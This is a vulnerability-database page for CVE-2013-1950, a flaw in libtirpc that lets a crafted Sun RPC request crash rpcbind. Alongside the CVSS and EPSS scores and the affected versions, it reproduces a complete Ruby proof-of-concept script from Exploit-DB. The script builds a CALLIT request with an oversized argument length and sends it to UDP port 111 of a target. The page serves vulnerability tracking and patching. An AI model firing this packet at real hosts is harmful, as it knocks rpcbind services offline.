CVE-2013-1950 : Detail

CVE-2013-1950

5.44%V3
Network
2013-07-09
17h00 +00:00
2013-07-09
17h00 +00:00
CVE.org
NVD
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CVE Descriptions

The svc_dg_getargs function in libtirpc 0.2.3 and earlier allows remote attackers to cause a denial of service (rpcbind crash) via a Sun RPC request with crafted arguments that trigger a free of an invalid pointer.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-399 Category : Resource Management Errors
Weaknesses in this category are related to improper management of system resources.

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.3 AV:N/AC:M/Au:N/C:N/I:N/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 26887

Publication date : 2013-07-15 22h00 +00:00
Author : Sean Verity
EDB Verified : No

#!/usr/bin/ruby # # rpcbind_udp_crash_poc.rb # 07/15/2013 # Sean Verity <veritysr1980 [at] gmail.com> # CVE 2013-1950 # # rpcbind (CALLIT Procedure) UDP Crash PoC # Affected Software Package: rpcbind-0.2.0-19 # # Tested on: # Fedora 17 (3.9.8-100.fc17.x86_64 #1 SMP) # CentOS 6.3 Final (2.6.32-279.22.1.el6.x86_64 #1 SMP) # # rpcbind can be crashed by setting the argument length # value > 8944 in an RPC CALLIT procedure request over UDP. # require 'socket' def usage abort "\nusage: ./rpcbind_udp_crash_poc.rb <target>\n\n" end if ARGV.length == 1 pkt = [rand(2**32)].pack('N') # XID pkt << [0].pack('N') # Message Type: CALL (0) pkt << [2].pack('N') # RPC Version: 2 pkt << [100000].pack('N') # Program: Portmap (100000) pkt << [2].pack('N') # Program Version: 2 pkt << [5].pack('N') # Procedure: CALLIT (5) pkt << [0].pack('N') # Credentials Flavor: AUTH_NULL (0) pkt << [0].pack('N') # Length: 0 pkt << [0].pack('N') # Credentials Verifier: AUTH_NULL (0) pkt << [0].pack('N') # Length: 0 pkt << [0].pack('N') # Program: Unknown (0) pkt << [1].pack('N') # Version: 1 pkt << [1].pack('N') # Procedure: 1 pkt << [8945].pack('N') # Argument Length pkt << "crash" # Arguments s = UDPSocket.new s.send(pkt, 0, ARGV[0], 111) else usage end

Products Mentioned

Configuraton 0

Libtirpc_project>>Libtirpc >> Version To (including) 0.2.3

Libtirpc_project>>Libtirpc >> Version 0.1.8

Libtirpc_project>>Libtirpc >> Version 0.1.9

Libtirpc_project>>Libtirpc >> Version 0.1.10

Libtirpc_project>>Libtirpc >> Version 0.1.11

Libtirpc_project>>Libtirpc >> Version 0.2.0

Libtirpc_project>>Libtirpc >> Version 0.2.1

Libtirpc_project>>Libtirpc >> Version 0.2.2

References

http://rhn.redhat.com/errata/RHSA-2013-0884.html
Tags : vendor-advisory, x_refsource_REDHAT